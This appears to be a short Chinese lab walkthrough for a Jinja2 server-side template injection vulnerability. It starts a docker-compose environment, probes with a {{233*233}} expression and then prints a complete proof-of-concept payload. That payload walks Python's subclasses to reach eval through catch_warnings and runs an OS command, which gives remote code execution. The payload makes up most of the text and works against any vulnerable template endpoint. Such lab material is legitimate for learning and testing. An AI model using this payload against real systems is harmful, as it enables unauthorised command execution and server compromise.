首先进入漏洞环境


构造所需漏洞
docker-compose up -d

在浏览器中访问
http://your-ip/?name={{233*233}}

获取eval函数并执行任意python代码的POC:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
访问
得到执行结果:

本文介绍如何在漏洞环境中,通过构造特定请求,利用catch_warnings模块的eval函数执行任意Python代码。POC实例展示了如何在docker-compose环境下进行操作,并演示了获取和利用eval功能的过程。
1448

被折叠的 条评论
为什么被折叠?



